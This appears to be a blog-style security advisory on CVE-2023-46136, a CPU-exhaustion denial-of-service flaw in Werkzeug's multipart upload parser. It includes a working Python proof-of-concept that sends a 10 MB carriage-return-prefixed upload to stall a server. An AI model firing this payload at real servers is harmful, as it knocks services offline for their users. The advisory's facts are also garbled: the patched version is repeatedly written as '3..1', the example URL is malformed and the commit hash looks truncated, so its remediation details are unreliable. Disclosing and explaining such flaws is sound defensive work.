Werkzeug is a popular web application library used by many Python frameworks, including Flask. In October 2023, a critical vulnerability (CVE-2023-46136) was fixed in Werkzeug that allowed attackers to exhaust server resources through specially-crafted file uploads. If your application uses Werkzeug to handle file uploads, you need to understand this issue and patch as soon as possible.

What Is Werkzeug?

Werkzeug provides WSGI utilities for building web servers and frameworks. Processing file uploads from web forms is a common task handled by Werkzeug’s multipart parser.

The Vulnerability Explained

When uploading files via a form, browsers send files in a format called multipart/form-data. Werkzeug’s parser needs to process gigabytes of user data safely and efficiently. However, there was a flaw in how Werkzeug handled streams that started with special bytes (Carriage Return \r or Line Feed \n) followed by a very large block of data.

What happened:
Werkzeug tries to find the file boundary (a marker that separates different parts in a multipart request) in the incoming data. If a file upload starts with \r or \n (CR/LF), and continues with megabytes of data that don’t include a boundary, Werkzeug’s code keeps copying all those bytes, chunk after chunk, into an internal buffer. It checks for the boundary by scanning the entire growing buffer each time. This repeated scanning leads to massive CPU usage.

Bottom line:
A remote attacker can send a specially-designed request, causing your server workers to work overtime scanning memory, essentially "freezing" the server for real users — a classic Denial of Service (DoS).

Proof of Concept (PoC) Code

Below is a Python example using requests library to trigger the vulnerability. (This will hang or use excessive CPU on vulnerable Werkzeug applications. Test responsibly!)

import requests

# Target Flask/Werkzeug server URL
url = 'http://localhost:500/upload';

boundary = "----WebKitFormBoundary7MA4YWxkTrZugW"
payload = b"\r" + b"A" * (10 * 1024 * 1024)  # 10 MB of 'A's after CR

data = (
    "--" + boundary + "\r\n"
    "Content-Disposition: form-data; name=\"file\"; filename=\"malicious.bin\"\r\n"
    "Content-Type: application/octet-stream\r\n\r\n"
).encode("utf-8") + payload + b"\r\n--" + boundary + b"--\r\n"

headers = {
    'Content-Type': f'multipart/form-data; boundary={boundary}'
}

response = requests.post(url, data=data, headers=headers)

print("Status:", response.status_code)

This sends a multipart upload where the file content starts with \r and a long sequence of bytes. Werkzeug’s parser will bog down searching for boundaries, consuming CPU.

Who is affected?

- Any web application using Werkzeug < 3..1 to parse multipart file uploads (such as Flask-powered APIs).

What can happen?

- Attackers can block worker processes by making them busy in parsing useless data, leading to slowdowns or complete downtime.

Upgrade Werkzeug to version 3..1 or newer.

- The patch: https://github.com/pallets/werkzeug/commit/4c3ad9301ea5ba6371d0249562949c399dde3e4
- Full advisory: https://github.com/pallets/werkzeug/security/advisories/GHSA-m5c2-xg6r-r3m2

- Review your application dependencies

pip install -U werkzeug

References

- Official Security Advisory (GitHub)
- Werkzeug 3..1 Release Notes
- CVE Database Entry
- Exploit Disclosure on GitHub

Conclusion

If you’re building Python web apps that accept file uploads, this bug could turn your server into a sitting duck for easy DoS attacks. Always keep dependencies updated, review your security advisories, and monitor your servers for unexpected resource use — it only takes one clever request to bring an unpatched site down.

Timeline

Published on: 10/25/2023 18:17:36 UTC
Last modified on: 11/24/2023 09:15:08 UTC